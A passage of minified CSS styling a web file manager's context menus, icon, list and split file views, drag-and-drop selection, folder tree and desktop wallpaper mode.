!important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav-remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav-remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open-text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open-text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav-page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav-page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture:before,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture:before{content:"" !important;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort:before{content:"" !important;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-all > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -545px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-all > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-clear > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -546px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-clear > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -593px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-code-fork{display:inline-block;background-image:url("../../../images/file_icon/icon_app/history.png");width:16px !important;background-repeat:no-repeat;background-size:100% 100%;}.context-menu-list .context-menu-item .font-icon.icon-code-fork:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:15px;box-shadow:0 0 0 1px #6db9f5;}.select-container{position:absolute;cursor:default;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}.select-container:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.file-list-icon,.file-draging.file-list-list,.file-draging.file-list-split{z-index:1000;overflow:visible;}.file-draging.file-list-icon div.file,.file-draging.file-list-list div.file,.file-draging.file-list-split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.file-list-icon div.file.handle_target,.file-draging.file-list-list div.file.handle_target,.file-draging.file-list-split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:3px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag-number{display:none;}.draggable-dragging#drag-action-clear{box-shadow:none;color:#333;background:#def;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging .file-list-icon .file-select-drag-temp{transform:scale(1.1,1.1);}.file-continer{margin-bottom:40px;}.file-continer .file .filename .title.db-click-rename{cursor:text;}.file-continer .file .item-menu{display:none;position:absolute;right:4px;top:4px;width:14px;height:14px;box-sizing:content-box;text-align:center;border:1px solid #ddd;background:#fff;cursor:pointer;z-index:50;border-radius:2px;}.file-continer .file .item-menu:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.file-continer .file .item-menu:hover .cert{border-top-color:#3399ff;}.file-continer .file .item-menu .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.file-continer .file .item-select{display:none;position:absolute;right:4px;top:4px;width:14px;height:14px;box-sizing:content-box;text-align:center;border:1px solid #ddd;background:#fff;cursor:pointer;z-index:50;border-radius:2px;padding:2px;left:5px;border-radius:50%;background:rgba(0,0,0,0.05);border:none;color:#fff;}.file-continer .file .item-select:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.file-continer .file .item-select:hover .cert{border-top-color:#3399ff;}.file-continer .file .item-select .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.file-continer .file .item-select:hover{color:#fff;background:rgba(0,0,0,0.2);box-shadow:none;}.file-continer .file .item-select .item-check{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;font-size:12px;text-shadow:none;}.file-continer .file .item-select .item-check:after{content:"\f00c";position:relative;top:-1px;}.file-continer .file.hover .item-menu,.file-continer .file.select .item-menu,.file-continer .file.file-select-drag-temp .item-menu{display:block;}.file-continer .file.hover .item-select,.file-continer .file.select .item-select,.file-continer .file.file-select-drag-temp .item-select{display:block;}.file-continer .file.select .item-select{color:#fff;background:#3b8cff;}.file-continer.file-list-split .file .item-menu{top:3px;right:25px;}.file-continer.file-list-split .file .item-select{top:2px;right:45px;left:auto;}.file-continer.file-list-list .file .item-menu{top:4px;right:5px;}.file-continer.file-list-list .file .item-select{top:4px;right:25px;left:auto;}.file-list-icon{padding:10px 20px 0 10px;display:flex;justify-content:space-between;flex-wrap:wrap;align-items:flex-start;}.file-list-icon:after{width:82px;content:"";display:block;}.file-list-icon .flex-empty{width:75px;border:1px solid transparent;margin:0;margin-right:10px;margin-bottom:10px;visibility:hidden;height:0 !important;}.file-list-icon .meta-info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.file-list-icon .meta-info img{width:100%;height:100%;}.file-list-icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.file-list-icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.file-list-icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.file-list-icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3;}.file-list-icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.file-list-icon .file .filename #pathRenameTextarea,.file-list-icon .file .filename .newfile{width:60px;padding:0px 0 4px 0;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;margin-top:2px;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.file-list-icon .file .filename #pathRenameTextarea:focus,.file-list-icon .file .filename .newfile:focus{outline:none;}.file-list-icon .file.select,.file-list-icon .file.file-select-drag-temp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.file-list-icon .file.file-icon-edit{overflow:visible;}.file-list-icon .file.file-icon-edit .filename{position:absolute;z-index:99;}.file-list-icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.file-list-icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.file-list-icon .file .ico.picture{background:none;width:50px;padding-left:5px;}.file-list-icon .file .ico.picture img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;position:relative;top:50%;transform:translateY(-50%);}.file-list-icon .file .ico.picture img.lazyload-ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.file-list-icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list-type-header{z-index:5;position:absolute;width:100%;top:85px;}#main-title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main-title .box-shadow(1px 2px 15px #dde) - div{cursor:pointer;overflow:hidden;}#main-title div span{float:right;margin-right:8px;margin-top:0px;}#main-title .filename,#main-title .filesize,#main-title .filetype,#main-title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main-title .filename:hover,#main-title .filesize:hover,#main-title .filetype:hover,#main-title .filetime:hover{background:#eee;}#main-title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main-title .current{background:rgba(0,0,0,0.8);}#main-title .filename{width:250px;padding-left:20px;margin-left:0px;}#main-title .filetype{width:80px;}#main-title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main-title .filetime{width:150px;padding-right:6px;}#main-title .filesize span{margin-right:0px;}#main-title .this{font-weight:800;background:#eee;}.file-list-list,.file-list-split{padding-top:5px;z-index:0;padding-left:10px;}.file-list-list .file,.file-list-split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:0;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.file-list-list .file .ico,.file-list-split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.file-list-list .file2,.file-list-split .file2{background:#edf5ff;}.file-list-list .hover,.file-list-split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.file-list-list .select,.file-list-list .file-select-drag-temp,.file-list-split .select,.file-list-split .file-select-drag-temp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.file-list-list .select .children-more i.font-icon,.file-list-list .file-select-drag-temp .children-more i.font-icon,.file-list-split .select .children-more i.font-icon,.file-list-split .file-select-drag-temp .children-more i.font-icon{color:#63acff !important;}.file-list-list .meta-info,.file-list-split .meta-info{display:inline-block;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.file-list-list .meta-info img,.file-list-split .meta-info img{width:100%;height:100%;}.file-list-list .file,.file-list-split .file{width:80%;overflow:hidden;height:27px;}.file-list-list .file .ico,.file-list-list .file .filename,.file-list-list .file .filetype,.file-list-list .file .filesize,.file-list-list .file .filetime,.file-list-list .file .children-more,.file-list-split .file .ico,.file-list-split .file .filename,.file-list-split .file .filetype,.file-list-split .file .filesize,.file-list-split .file .filetime,.file-list-split .file .children-more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.file-list-list .file .children-more,.file-list-split .file .children-more{width:20px;height:28px;text-align:center;padding-left:0px;}.file-list-list .file .children-more i.font-icon,.file-list-split .file .children-more i.font-icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.file-list-list .file .children-more i.font-icon::after,.file-list-split .file .children-more i.font-icon::after{content:"\f0da";}.file-list-list .file .children-more i.font-icon.cert-open::after,.file-list-split .file .children-more i.font-icon.cert-open::after{content:"\f0d7";}.file-list-list .file .children-more i.font-icon:hover,.file-list-split .file .children-more i.font-icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.file-list-list .file.loading-children .ico .x-item-file,.file-list-split .file.loading-children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.file-list-list .file .filetype,.file-list-split .file .filetype{width:90px;}.file-list-list .file .filesize,.file-list-split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.file-list-list .file .filetime,.file-list-split .file .filetime{width:200px;}.file-list-list .file .filename,.file-list-split .file .filename{width:240px;padding-left:0px;white-space:nowrap;text-overflow:ellipsis;}.file-list-list .file .filename .textarea,.file-list-split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.file-list-list .file .filename #pathRenameTextarea,.file-list-list .file .filename .newfile,.file-list-split .file .filename #pathRenameTextarea,.file-list-split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.file-list-list .file .filename #pathRenameTextarea:focus,.file-list-list .file .filename .newfile:focus,.file-list-split .file .filename #pathRenameTextarea:focus,.file-list-split .file .filename .newfile:focus{outline:none;}.file-list-list .file .filename .title,.file-list-split .file .filename .title{word-break:break-all;}.file-list-list .file .ico,.file-list-split .file .ico{height:20px;width:20px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.file-list-list .file .ico img,.file-list-split .file .ico img{height:100% \9;max-height:100%;max-width:100%;}.file-list-list .file .filename .textarea{position:absolute;}.line-split-box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.line-split-box .split-line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.file-list-split{overflow:hidden;}.file-list-split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.file-list-split .file.file2{background:none;}.file-list-split .file .ico,.file-list-split .file .filename,.file-list-split .file .filetype,.file-list-split .file .filesize,.file-list-split .file .filetime,.file-list-split .file .children-open{line-height:22px;height:22px;}.file-list-split .file .ico{margin-left:5px;margin-top:3px;}.file-list-split .file .filename{width:100%;}.file-list-split .file .filename span.title{position:absolute;overflow:hidden;}.file-list-split .file .filename #pathRenameTextarea,.file-list-split .file .filename .newfile{height:23px;line-height:23px;}.file-list-split .file .filename .title .textarea{margin-top:-2px;}.file-list-split .file .children-open{width:20px;height:28px;text-align:center;padding-left:0px;background:rgba(255,255,255,0.4);position:absolute;right:0;}.file-list-split .file .children-open i.font-icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.file-list-split .file .children-open i.font-icon::before{content:"\f0da";line-height:24px;}.file-list-split .file.select-split-parent{background:#e3f0ff;border:1px solid #c9e2ff;}.file-list-split .file.select-split-parent .children-open i.font-icon::before{content:"\f101";font-size:20px;}.file-list-split .split-box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.file-list-split .split-box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.file-list-split .split-box.split-hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.file-list-split .split-box.split-select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.file-list-split .is-drag-split .split-drag{background:rgba(100,100,100,0.2);}.file-list-split .split-drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.file-list-split .content-more{height:100px;position:relative;}.children-list-dropover{position:relative;z-index:10 !important;padding-right:2px;outline:1px solid #2196F3;}.children-list-dropover.menu-body-main{outline:1px solid #2196F3;box-shadow:inset 0 0 2px #2196F3, inset 0 0 3px #2196F3;margin-bottom:1px;}.file-select-over-temp{z-index:50 !important;outline:1px solid #2196F3 !important;}.file-list-split .file .children-open i.font-icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.file-list-split .file .children-open i.font-icon:before{display:none \9\0;}.file-list-split .file.select-split-parent .children-open i.font-icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.file-list-list .file .children-more i.font-icon,.file-list-split .file .children-more i.font-icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.file-list-list .file .children-more i.font-icon::after,.file-list-split .file .children-more i.font-icon::after{display:none \9\0;}.file-list-list .file .children-more i.font-icon.cert-open,.file-list-split .file .children-more i.font-icon.cert-open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.file-list-list .file .children-more i.font-icon:hover,.file-list-split .file .children-more i.font-icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.file-list-list .file .children-more i.font-icon.cert-open:hover,.file-list-split .file .children-more i.font-icon.cert-open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;position:relative;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:24px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:0;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}.ztree li a .menu-item{display:none;position:absolute;right:4px;top:4px;width:14px;height:13px;box-sizing:content-box;text-align:center;border:1px solid #ccc;background:#fff;border-radius:2px;cursor:pointer;z-index:50;}.ztree li a .menu-item:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.ztree li a .menu-item:hover .cert{border-top-color:#3399ff;}.ztree li a .menu-item .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.ztree li a:hover .menu-item,.ztree li a.curSelectedNode .menu-item{display:block;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}body#page-desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page-desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page-desktop .topbar .content .topbar-menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page-desktop .topbar .content .topbar-menu,body#page-desktop .topbar .content .topbar-menu.font-icon{text-shadow:0px 0px 0px #fff, 0px 0px 4px #000;}body#page-desktop .topbar .content .top-right div.share-info-user{color:#fff;}body#page-desktop .topbar .content .open .topbar-menu,body#page-desktop .topbar .content .topbar-menu:hover,body#page-desktop .topbar .content .topbar-menu.this{background:rgba(255,255,255,0.3);}body#page-desktop .full-background{display:none !important;}body#page-desktop .full-background-wall{position:absolute;overflow:hidden;z-index:0;display:block !important;-webkit-transition:all ease-in-out .4s;-moz-transition:all ease-in-out .4s;-o-transition:all ease-in-out .4s;-ms-transition:all ease-in-out .4s;transition:all ease-in-out .4s;background-size:cover;background-repeat:no-repeat;background-position:center;height:100%;width:100%;}body#page-desktop .full-background-wall img{position:absolute;width:1px;height:1px;}body#page-desktop .full-background-wall:before{background:none;}.desktop .file-list-icon{position:absolute;width:100%;bottom:-5px;top:40px;overflow:auto;}.desktop .file-list-icon .file{float:none;color:#fff;border:none;display:inline-block;writing-mode:lr-tb;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}.desktop .file-list-icon .file .filename{padding-bottom:1px;}.desktop .file-list-icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}.desktop .file-list-icon .file.select,.desktop .file-list-icon .file.file-select-drag-temp,.desktop .file-list-icon .file.select.hover,.desktop .file-list-icon .file.file-select-drag-temp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}.desktop .file-list-icon .file.select .filename,.desktop .file-list-icon .file.file-select-drag-temp .filename,.desktop .file-list-icon .file.select.hover .filename,.desktop .file-list-icon .file.file-select-drag-temp.hover .filename{background:none;}body .file-continer.file-draging-box .file-list-icon .file{float:none;color:#fff;border:none;display:inline-block;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}body .file-continer.file-draging-box .file-list-icon .file .filename{padding-bottom:1px;}body .file-continer.file-draging-box .file-list-icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}body .file-continer.file-draging-box .file-list-icon .file.select,body .file-continer.file-draging-box .file-list-icon .file.file-select-drag-temp,body .file-continer.file-draging-box .file-list-icon .file.select.hover,body .file-continer.file-draging-box .file-list-icon .file.file-select-drag-temp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}body .file-continer.file-draging-box .file-list-icon .file.select .filename,body .file-continer.file-draging-box .file-list-icon .file.file-select-drag-temp .filename,body .file-continer.file-draging-box .file-list-icon .file.select.hover .filename,body 